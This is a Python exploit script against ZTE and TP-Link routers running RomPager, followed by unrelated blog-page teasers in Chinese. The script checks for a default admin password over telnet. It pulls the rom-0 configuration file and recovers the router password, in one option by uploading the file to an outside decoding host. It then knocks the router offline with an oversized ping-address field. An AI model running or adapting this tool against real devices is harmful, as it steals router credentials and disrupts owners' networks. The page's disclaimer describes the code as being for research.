1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Exploit Title: ZTE and TP-Link RomPager DoS Exploit
  5. # Date: 10-05-2014
  6. # Server Version: RomPager/4.07 UPnP/1.0
  7. # Tested Routers: ZTE ZXV10 W300
  8. # TP-Link TD-W8901G
  9. # TP-Link TD-W8101G
  10. # TP-Link TD-8840G
  11. # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
  12. # Tested on: Kali Linux x86
  13. #
  14. # Notes: Please note this exploit may contain errors, and
  15. # is provided "as it is". There is no guarantee
  16. # that it will work on your target router(s), as
  17. # the code may have to be adapted.
  18. # This is to avoid script kiddie abuse as well.
  19. #
  20. # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
  21. # Author takes no responsibility for any kind of damage you cause.
  22. #
  23. # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
  24. #
  25. # Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
  26. # Video: https://www.youtube.com/watch?v=1fSECo2ewoo
  27. # Dedicate to Nick Knight and Hood3dRob1n
  28. #
  29. # ./dos.py -i 192.168.1.1
  30.  
  31. import os
  32. import re
  33. import sys
  34. import time
  35. import urllib
  36. import base64
  37. import httplib
  38. import urllib2
  39. import requests
  40. import optparse
  41. import telnetlib
  42. import subprocess
  43. import collections
  44. import unicodedata
  45.  
  46. class BitReader:
  47.  
  48. def __init__(self, bytes):
  49. self._bits = collections.deque()
  50.  
  51. for byte in bytes:
  52. byte = ord(byte)
  53. for n in xrange(8):
  54. self._bits.append(bool((byte >> (7-n)) & 1))
  55.  
  56. def getBit(self):
  57. return self._bits.popleft()
  58.  
  59. def getBits(self, num):
  60. res = 0
  61. for i in xrange(num):
  62. res += self.getBit() << num-1-i
  63. return res
  64.  
  65. def getByte(self):
  66. return self.getBits(8)
  67.  
  68. def __len__(self):
  69. return len(self._bits)
  70.  
  71. class RingList:
  72.  
  73. def __init__(self, length):
  74. self.__data__ = collections.deque()
  75. self.__full__ = False
  76. self.__max__ = length
  77.  
  78. def append(self, x):
  79. if self.__full__:
  80. self.__data__.popleft()
  81. self.__data__.append(x)
  82. if self.size() == self.__max__:
  83. self.__full__ = True
  84.  
  85. def get(self):
  86. return self.__data__
  87.  
  88. def size(self):
  89. return len(self.__data__)
  90.  
  91. def maxsize(self):
  92. return self.__max__
  93.  
  94. def __getitem__(self, n):
  95. if n >= self.size():
  96. return None
  97. return self.__data__[n]
  98.  
  99. def filter_non_printable(str):
  100. return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
  101.  
  102. def banner():
  103. return '''
  104.  
  105. \t\t _/_/_/ _/_/_/
  106. \t\t _/ _/ _/_/ _/
  107. \t\t _/ _/ _/ _/ _/_/
  108. \t\t _/ _/ _/ _/ _/
  109. \t\t_/_/_/ _/_/ _/_/_/
  110.  
  111. '''
  112. def dos(host, password):
  113. while (1):
  114. url = 'http://' +host+ '/Forms/tools_test_1'
  115. parameters = {
  116. 'Test_PVC' : 'PVC0',
  117. 'PingIPAddr' : '\101'*2000,
  118. 'pingflag' : '1',
  119. 'trace_open_flag' : '0',
  120. 'InfoDisplay' : '+-+Info+-%0D%0A'
  121. }
  122.  
  123. params = urllib.urlencode(parameters)
  124.  
  125. req = urllib2.Request(url, params)
  126. base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
  127. req.add_header("Authorization", "Basic %s" %base64string)
  128. req.add_header("Content-type", "application/x-www-form-urlencoded")
  129. req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
  130. try:
  131. print '[~] Sending Payload'
  132. response = urllib2.urlopen(req, timeout=1)
  133. sys.exit(0)
  134.  
  135. except:
  136. flag = checkHost(host)
  137. if flag == 0:
  138. print '[+] The host is still up and running'
  139. else:
  140. print '[~] Success! The host is down'
  141. sys.exit(0)
  142. break
  143.  
  144. def checkHost(host):
  145. if sys.platform == 'win32':
  146. c = "ping -n 2 " + host
  147. else:
  148. c = "ping -c 2 " + host
  149.  
  150. try:
  151. x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  152. time.sleep(1)
  153. return x
  154.  
  155. except:
  156. pass
  157.  
  158. def checkServer(host):
  159. connexion = httplib.HTTPConnection(host)
  160. connexion.request("GET", "/status.html")
  161. response = connexion.getresponse()
  162. server = response.getheader("server")
  163. connexion.close()
  164. time.sleep(2)
  165. if server == 'RomPager/4.07 UPnP/1.0':
  166. return 0
  167. else:
  168. return 1
  169.  
  170. def checkPassword(host):
  171. print '[+] Checking for default password'
  172. defaultpass = 'admin'
  173. tn = telnetlib.Telnet(host, 23, 4)
  174. tn.read_until("Password: ")
  175. tn.write(defaultpass + '\n')
  176. time.sleep(2)
  177. banner = tn.read_eager()
  178. banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
  179. tn.write("exit\n")
  180. tn.close()
  181. time.sleep(4)
  182. if banner == 'Copyright':
  183. print '[+] Default password is being used'
  184. dos(host, defaultpass)
  185. else:
  186. print '[!] Default Password is not being used'
  187. while True:
  188. msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
  189. try:
  190. if msg[0] == 'y':
  191. password = decodePasswordLocal(host)
  192. print '[*] Router password is: ' +password
  193. dos(host, password)
  194. break
  195. if msg[0] == 'n':
  196. password = decodePasswordRemote(host)
  197. print '[*] Router password is: ' +password
  198. dos(host, password)
  199. break
  200. else:
  201. print '[!] Enter a valid choice'
  202. except Exception, e:
  203. print e
  204. continue
  205.  
  206. def decodePasswordRemote(host):
  207. fname = 'rom-0'
  208. if os.path.isfile(fname) == True:
  209. os.remove(fname)
  210. urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  211. # If this URL goes down you might have to find one and change this function.
  212. # You can also use the local decoder. It might have few errors in getting output.
  213. url = 'http://198.61.167.113/zynos/decoded.php' # Target URL
  214. files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload
  215. data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'} # Additional Parameters we need to include
  216. headers = { 'User-agent' : 'Python Demo Agent v1' } # Any additional Headers you want to send or include
  217.  
  218. res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
  219. res1 =res.content
  220. p = re.search('rows=10>(.*)', res1)
  221. if p:
  222. passwd = found = p.group(1)
  223. else:
  224. password = 'NotFound'
  225. return passwd
  226.  
  227. def decodePasswordLocal(host):
  228. # Sometimes this might output a wrong password while finding the exact string.
  229. # print the result as mentioned below and manually find out
  230. fname = 'rom-0'
  231. if os.path.isfile(fname) == True:
  232. os.remove(fname)
  233. urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  234. fpos=8568
  235. fend=8788
  236. fhandle=file('rom-0')
  237. fhandle.seek(fpos)
  238. chunk="*"
  239. amount=221
  240. while fpos < fend:
  241. if fend-fpos < amount:
  242. amount = amount
  243. data = fhandle.read(amount)
  244. fpos += len(data)
  245.  
  246. reader = BitReader(data)
  247. result = ''
  248.  
  249. window = RingList(2048)
  250.  
  251. while True:
  252. bit = reader.getBit()
  253. if not bit:
  254. char = reader.getByte()
  255. result += chr(char)
  256. window.append(char)
  257. else:
  258. bit = reader.getBit()
  259. if bit:
  260. offset = reader.getBits(7)
  261. if offset == 0:
  262. break
  263. else:
  264. offset = reader.getBits(11)
  265.  
  266. lenField = reader.getBits(2)
  267. if lenField < 3:
  268. lenght = lenField + 2
  269. else:
  270. lenField <<= 2
  271. lenField += reader.getBits(2)
  272. if lenField < 15:
  273. lenght = (lenField & 0x0f) + 5
  274. else:
  275. lenCounter = 0
  276. lenField = reader.getBits(4)
  277. while lenField == 15:
  278. lenField = reader.getBits(4)
  279. lenCounter += 1
  280. lenght = 15*lenCounter + 8 + lenField
  281.  
  282. for i in xrange(lenght):
  283. char = window[-offset]
  284. result += chr(char)
  285. window.append(char)
  286.  
  287. result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
  288. # In case the password you see is wrong while filtering, manually print it from here and findout.
  289. #print result
  290. if 'TP-LINK' in result:
  291. result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
  292. result = result.replace("TP-LINK", "")
  293. result = result[1:]
  294.  
  295. if 'ZTE' in result:
  296. result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
  297. result = result.replace("ZTE", "")
  298. result = result[1:]
  299.  
  300. if 'tc160' in result:
  301. result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
  302. result = result.replace("tc160", "")
  303. result = result[1:]
  304. return result
  305.  
  306. def regex(path, text):
  307. match = re.search(path, text)
  308. if match:
  309. return match.group()
  310. else:
  311. return None
  312.  
  313. def main():
  314. if sys.platform == 'win32':
  315. os.system('cls')
  316. else:
  317. os.system('clear')
  318. try:
  319. print banner()
  320. print '''
  321. |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
  322. [*] Author: Osanda Malith Jayathissa
  323. [*] Follow @OsandaMalith
  324. [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
  325. [!] Author takes no responsibility for any kind of damage you cause.
  326.  
  327. '''
  328. parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
  329. parser.add_option('-i', dest='host',
  330. type='string',
  331. help='Specify the IP to attack')
  332. (options, args) = parser.parse_args()
  333.  
  334. if options.host is None:
  335. parser.print_help()
  336. exit(-1)
  337.  
  338. host = options.host
  339. x = checkHost(host)
  340.  
  341. if x == 0:
  342. print '[+] The host is up and running'
  343. server = checkServer(host)
  344. if server == 0:
  345. checkPassword(host)
  346. else:
  347. print ('[!] Sorry the router is not running RomPager')
  348. else:
  349. print '[!] The host is not up and running'
  350. sys.exit(0)
  351.  
  352. except KeyboardInterrupt:
  353. print '[!] Ctrl + C detected\n[!] Exiting'
  354. sys.exit(0)
  355. except EOFError:
  356. print '[!] Ctrl + D detected\n[!] Exiting'
  357. sys.exit(0)
  358.  
  359. if __name__ == "__main__":
  360. main()
  361. #EOF

ZTE and TP-Link RomPager - DoS Exploit的更多相关文章

  1. Metasploit辅助模块

    msf > show auxiliary Auxiliary ========= Name                                                  Di ...

  2. Man手册--nmap

    目录 nmap使用手册 附录: nmap使用手册 附录: NMAP(1) Nmap Reference Guide NMAP(1) NAME nmap - Network exploration to ...

  3. CentOS 6.5 安全加固及性能优化 (转)

    通过修改CentOS 6.5 的系统默认设置,对系统进行安全加固,进行系统的性能优化. 环境: 系统硬件:vmware vsphere (CPU:2*4核,内存2G) 系统版本:Centos-6.5- ...

  4. 配置windows路由表,使电脑同时连接内网外网方法

    1.环境一(系统:windows xp,内网.外网不是同一类地址,内网地址固定): 外网:通过笔记本的无线网卡连接: 内网:通过笔记本的本地连接: 第一步,连接网线,配置本地连接地址,注意IP地址不要 ...

  5. IMS Global Learning Tools Interoperability™ Implementation Guide

    Final Version 1.1 Date Issued:            13 March 2012 Latest version:         http://www.imsglobal ...

  6. TP-Link 无线路由器设置图文教程----怎么设置TP-Link无线路由器图解

    转自:http://www.jb51.net/softjc/39399.html 无线路由器的基础配置 在我们第一次配置无线宽带路由器时,参照说明书找到无线宽带路由器默认的IP地址是192.168.1 ...

  7. Delphi 使用之函数

    函数由一句或多句代码组成,可以实现某个特定的功能.使用函数可以使代码更加易读.易懂,加快编程速度及减少重复代码.过程与函数类似,过程与函数最重要的区别在于,过程没有返回值,而函数能有返回值.     ...

  8. 花生壳+Tomcat

    花生壳(内网穿透)新手上路 http://service.oray.com/question/1664.html 好不容易找到一篇关于“花生壳+Tomcat”的好文章,转一下,上次自己弄的时候把自己的 ...

  9. 无线路由器WDS设置方法图解_无线桥接设置

    随着无线网络的发展,现在越来越多的公司及企业都已经开始布局无线局域网,今天我们主要介绍下适合中小企业的无线路由器桥接或WDS功能.文章以TP-link WR841N无线路由器设置为例,其它路由器参考设 ...

随机推荐

  1. js 练习

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="req_form.aspx.cs ...

  2. ListView 刷新加载控件

    1.MaterialRefreshLayout刷新加载: 导入依赖: compile 'com.cjj.materialrefeshlayout:library:1.3.0' 布局 <com.c ...

  3. latex给表格添加注释

    给表格加注释的确是很多TeX用户不好用的地方,这里提供一个样式和代码,或许对于你的学习使用有所帮助,样式如下: 代码如下: \documentclass[11pt,a4paper,english]{a ...

  4. Qt5 installation and path configuration

    Replace Default Qt version paths in: /usr/lib/x86_64-linux-gnu/qtchooser/default.confor in newer rel ...

  5. jQuery.eq() 函数

    eq() 函数 获取当前对象中指定索引所对应的的元素 语法 $selector.eq(index)//index为指定索引,值为数字型 返回值 返回值为一个对象 实例说明 代码 <!DOCTYP ...

  6. Oracle 新增删除账户

    新增用户: create user test identified by 123456;grant dba,connect,resource to test; 删除账户: drop user xxx ...

  7. x265,帧内预测代码分析

    void Analysis::compressIntraCU(const CUData& parentCTU, const CUGeom& cuGeom, uint32_t& ...

  8. eclipse遇到不会部署的情况

    1.先看下右下角有没有在进行的进程,例如validating  验证中.那就关闭验证的选项 2.看下problem栏有没有问题.会导致building不了.

  9. C#日常总结

    if (!string.IsNullOrEmpty(userid)) { InitPage(); } IsNullOrEmpty 同时测试String是否为nullNothingnullptrnull ...

  10. 在iframe父界面获取iframe里面的标签

    上一篇里边介绍了在里边利用iframe引入另一个html导航文件,有兴趣的朋友可以看一看 http://www.cnblogs.com/simba-lkj/p/6031662.html 目前遇到一些问 ...